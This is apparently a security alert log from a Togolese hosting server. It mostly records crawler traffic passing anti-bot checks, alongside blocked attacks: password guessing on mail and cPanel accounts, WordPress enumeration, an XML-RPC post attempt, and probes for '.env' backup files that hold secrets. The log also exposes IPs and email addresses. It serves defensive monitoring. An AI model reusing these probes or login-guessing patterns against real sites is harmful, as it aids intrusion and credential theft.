182.160.5.146 - - [10/Jun/2026:14:13:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6985365&pdata=https%253A%252F%252Flaunetogo.tg%252Ftogo-5-ans-a-la-primature-belle-performance-de-klassou-et-son-gouvernement-grace-au-chef-de-letat%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781100793 HTTP/2.0" 302 0 launetogo.tg "https://launetogo.tg/togo-5-ans-a-la-primature-belle-performance-de-klassou-et-son-gouvernement-grace-au-chef-de-letat/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:182.160.5.146


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.157.76
country_id: 690791
description:
Jun 10 14:13:28 ns5 auth[788831]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.157.76 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.157.76
country_id: 690791
description:
Jun 10 14:13:41 ns5 auth[788831]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.157.76 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.29.180.141
country_id: 3686110
description:
2026-06-10 14:13:52 dovecot_plain authenticator failed for H=dynamic-186-29-180-141.dynamic.etb.net.co ([198.23.185.222]) [186.29.180.141]:3528: 535 Incorrect authentication data (set_id=contacto@tchambainvest.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.203
country_id: 1880251
description:
47.128.96.203 - - [10/Jun/2026:14:14:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7301739&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fbem-dakar%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781100872 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/bem-dakar/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.203


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 105.224.4.142
country_id: 953987
description:
2026-06-10 14:13:37 dovecot_plain authenticator failed for H=([198.23.185.222]) [105.224.4.142]:44994: 535 Incorrect authentication data (set_id=contato@tchambainvest.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.166
country_id: 1880251
description:
47.128.96.166 - - [10/Jun/2026:14:13:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9934995&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Finscription-a-luniversite-de-lome-ul%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781100825 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/inscription-a-luniversite-de-lome-ul/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.166


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.184
country_id: 1880251
description:
47.128.96.184 - - [10/Jun/2026:14:13:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9924040&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Ficc-be-kpota%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781100833 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/icc-be-kpota/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.184


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.156.83.33
country_id: 3865483
description:
2026-06-10 14:14:08 dovecot_plain authenticator failed for H=([198.23.185.222]) [38.156.83.33]:33264: 535 Incorrect authentication data (set_id=financeiro@tchambainvest.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.43.125.177
country_id: 3895114
description:
2026-06-10 14:14:24 dovecot_plain authenticator failed for H=([198.23.185.222]) [181.43.125.177]:5882: 535 Incorrect authentication data (set_id=comercial@tchambainvest.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.132
country_id: 1880251
description:
47.128.96.132 - - [10/Jun/2026:14:15:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6907760&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252F10-bienfaits-yaourt%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781100912 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/10-bienfaits-yaourt/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.132


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.34.110.30
country_id: 1282988
description:
2026-06-10 14:15:04 dovecot_plain authenticator failed for H=([198.23.185.222]) [27.34.110.30]:15666: 535 Incorrect authentication data (set_id=accounts@tchambainvest.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.75.46.80
country_id: 1733045
description:
2026-06-10 14:14:46 dovecot_plain authenticator failed for H=([198.23.185.222]) [180.75.46.80]:63992: 535 Incorrect authentication data (set_id=it@tchambainvest.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 86.71.243.57
country_id: 3017382
description:
2026-06-10 14:15:18 dovecot_plain authenticator failed for H=57.243.71.86.rev.sfr.net ([198.23.185.222]) [86.71.243.57]:37814: 535 Incorrect authentication data (set_id=suporte@tchambainvest.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.219.235.246
country_id: 2921044
description:
2026-06-10 14:15:32 dovecot_plain authenticator failed for H=p5ddbebf6.dip0.t-ipconnect.de ([198.23.185.222]) [93.219.235.246]:64630: 535 Incorrect authentication data (set_id=hr@tchambainvest.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.132
country_id: 1880251
description:
47.128.96.132 - - [10/Jun/2026:14:16:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6844103&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fprix-de-lhuile-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781100964 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/prix-de-lhuile-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.132


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.15.112.196
country_id: 2017370
description:
2026-06-10 14:16:02 dovecot_plain authenticator failed for H=([198.23.185.222]) [45.15.112.196]:52006: 535 Incorrect authentication data (set_id=soporte@tchambainvest.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.146.16.131
country_id: 1210997
description:
2026-06-10 14:16:19 dovecot_plain authenticator failed for H=([198.23.185.222]) [103.146.16.131]:52550: 535 Incorrect authentication data (set_id=ventas@tchambainvest.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.51.41.112
country_id: 290557
description:
2026-06-10 14:16:34 dovecot_plain authenticator failed for H=bba-2-51-41-112.alshamil.net.ae ([198.23.185.222]) [2.51.41.112]:37438: 535 Incorrect authentication data (set_id=clients@tchambainvest.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.219.235.246
country_id: 2921044
description:
2026-06-10 14:15:39 dovecot_login authenticator failed for H=p5ddbebf6.dip0.t-ipconnect.de ([198.23.185.222]) [93.219.235.246]:64630: 535 Incorrect authentication data (set_id=hr@tchambainvest.tg)


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 34.26.211.205
country_id: 6252001
domain: festics.tg
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.15||T:APACHE||REQUEST_URI:/web/wp-includes/wlwmanifest.xml||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 136.169.152.237
country_id: 2017370
description:
2026-06-10 14:15:47 dovecot_plain authenticator failed for H=136.169.152.237.dynamic.ufanet.ru ([198.23.185.222]) [136.169.152.237]:33193: 535 Incorrect authentication data (set_id=office@tchambainvest.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.51.41.112
country_id: 290557
description:
2026-06-10 14:16:41 dovecot_login authenticator failed for H=bba-2-51-41-112.alshamil.net.ae ([198.23.185.222]) [2.51.41.112]:37438: 535 Incorrect authentication data (set_id=clients@tchambainvest.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.225.115.37
country_id: 3469034
description:
2026-06-10 14:16:50 dovecot_plain authenticator failed for H=([198.23.185.222]) [200.225.115.37]:20494: 535 Incorrect authentication data (set_id=info@tchambainvest.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.165
country_id: 1880251
description:
47.128.96.165 - - [10/Jun/2026:14:18:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6918854&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Faccident-de-circulation-au-mali%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781101095 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/accident-de-circulation-au-mali/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.165


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 45.70.101.216
country_id: 3469034
domain: kpmg.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:40465.kpmg.tg||ServerName:kpmg.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2eaf98a0606ae51cfd49c309439bf558352187e1||Title:0x1b3966b2||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.142
country_id: 1880251
description:
47.128.96.142 - - [10/Jun/2026:14:19:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9935252&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Famende-de-3000-euros%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781101148 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/amende-de-3000-euros/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.142


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.176.178.213
country_id: 3895114
domain: www.cameg-togo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:camaegdtomgo||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.176.178.213
country_id: 3895114
domain: www.cameg-togo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.production.bak||User:camaegdtomgo||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.3.62.254
country_id: 6252001
description:
[2026-06-10 14:22:21 +0000] info [whostmgrd] 45.3.62.254 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.201
country_id: 1880251
description:
47.128.96.201 - - [10/Jun/2026:14:23:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13332116&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Foradys-group-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781101410 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/oradys-group-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.201


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.12.189.13
country_id: 3865483
description:
[2026-06-10 14:22:45 +0000] info [cpaneld] 186.12.189.13 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.209.80.178
country_id: 3865483
description:
[2026-06-10 14:23:03 +0000] info [cpaneld] 181.209.80.178 - ce "GET /login/?login_only=1&user=ce&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ce (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.54.236.136
country_id: 3686110
description:
[2026-06-10 14:22:58 +0000] info [cpaneld] 181.54.236.136 - cen "GET /login/?login_only=1&user=cen&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cen (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.184
country_id: 1880251
description:
47.128.96.184 - - [10/Jun/2026:14:22:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13146481&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Ftrafic-denfants%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781101371 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/trafic-denfants/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.184


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.207
country_id: 1880251
description:
47.128.96.207 - - [10/Jun/2026:14:24:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7128977&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Futilisation-des-moyens-de-paiement-numeriques-dans-ladministration-togolaise%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781101450 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/utilisation-des-moyens-de-paiement-numeriques-dans-ladministration-togolaise/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.207


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 51.36.233.87
country_id: 102358
description:
51.36.233.87 - - [10/Jun/2026:14:25:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6842217&pdata=https%253A%252F%252Ftogodailynews.tg%252Ftogo-les-zapb-pour-une-meilleure-production-bovine%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781101505 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/togo-les-zapb-pour-une-meilleure-production-bovine/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.9309.1469 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:51.36.233.87


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 194.113.238.23
country_id: 6252001
description:
[2026-06-10 14:25:23 +0000] info [whostmgrd] 194.113.238.23 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.120.138
country_id: 6252001
description:
[2026-06-10 14:26:50 +0000] info [whostmgrd] 82.40.120.138 - ayhhhyhk "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.122
country_id: 1880251
description:
47.128.96.122 - - [10/Jun/2026:14:27:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10066541&pdata=https%253A%252F%252Ftdn.tg%252Fmadame-monsieur-saison-3-serie%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781101641 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/madame-monsieur-saison-3-serie/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.122


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.126
country_id: 1880251
description:
47.128.96.126 - - [10/Jun/2026:14:31:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10317153&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fhack-her-2025-yas-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781101860 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/hack-her-2025-yas-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.126


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.93.26
country_id: 1512440
description:
2026-06-10 14:31:31 H=([213.230.93.26]) [213.230.93.26]:31061 F=<John@4452.com> rejected RCPT <contact@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.175
country_id: 1880251
description:
47.128.96.175 - - [10/Jun/2026:14:32:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9934232&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fweek-end-prolonge-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781101973 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/week-end-prolonge-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.175


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.16
country_id: 1880251
description:
47.128.96.16 - - [10/Jun/2026:14:32:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9881187&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcour-constitutionnelle-de-rdc%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781101965 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/cour-constitutionnelle-de-rdc/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.16


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.171
country_id: 1880251
description:
47.128.96.171 - - [10/Jun/2026:14:34:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10055064&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fweek-end-prolonge-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781102058 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/week-end-prolonge-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.171


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 78.83.142.110
country_id: 732800
description:
Jun 10 14:34:16 ns5 auth[788831]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 78.83.142.110 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.136.142.13
country_id: 1814991
description:
Jun 10 14:33:53 ns5 auth[788831]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.136.142.13 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.156.60
country_id: 690791
description:
2026-06-10 14:33:55 dovecot_plain authenticator failed for H=([172.16.0.2]) [104.28.156.60]:62288: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.46.177
country_id: 2363686
description:
[2026-06-10 14:33:57 +0000] info [webmaild] 196.171.46.177 - kekeli.alemawo@togointerim.net "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.68
country_id: 1880251
description:
47.128.121.68 - - [10/Jun/2026:14:34:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13343127&pdata=http%253A%252F%252Ftogodailynews.tg%252F22-maladies-des-milliers-quon-peut-guerir-par-lacte-sexuel%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781102086 HTTP/1.1" 302 0 togodailynews.tg "http://togodailynews.tg/22-maladies-des-milliers-quon-peut-guerir-par-lacte-sexuel/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.68


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.4.65.37
country_id: 1814991
description:
Jun 10 14:35:06 ns5 auth[788831]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.4.65.37 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.92.44.158
country_id: 6252001
description:
[2026-06-10 14:35:22 +0000] info [whostmgrd] 98.92.44.158 - ecritoir "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.207
country_id: 1880251
description:
47.128.96.207 - - [10/Jun/2026:14:34:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7118228&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fperdiem-de-reportage%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781102092 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/perdiem-de-reportage/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.207


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.91.233.238
country_id: 3469034
description:
Jun 10 14:37:06 ns5 auth[788831]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.91.233.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.68.148.0
country_id: 2017370
description:
Jun 10 14:37:36 ns5 auth[788831]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.68.148.0 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.120
country_id: 1880251
description:
47.128.96.120 - - [10/Jun/2026:14:38:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9857177&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Finstitution-francais%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781102288 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/institution-francais/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.120


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.119.184
country_id: 1880251
description:
47.128.119.184 - - [10/Jun/2026:14:39:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10195864&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D10376&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781102341 HTTP/2.0" 302 0 mediatopnews.tg "https://mediatopnews.tg/?p=10376" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.119.184


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.145
country_id: 1880251
description:
47.128.96.145 - - [10/Jun/2026:14:39:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9607319&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcommission-de-luemoa%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781102349 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/commission-de-luemoa/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.145


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.171
country_id: 1880251
description:
47.128.96.171 - - [10/Jun/2026:14:39:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9989014&pdata=https%253A%252F%252Fcfpj.tg%252Fcfpj-rapport-dactivite-2024%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781102391 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/cfpj-rapport-dactivite-2024/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.171


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.180
country_id: 1880251
description:
47.128.96.180 - - [10/Jun/2026:14:40:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6320322&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Faccident-de-voiture-dans-le-drome%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781102455 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/accident-de-voiture-dans-le-drome/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.180


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.36.191.21
country_id: 2750405
description:
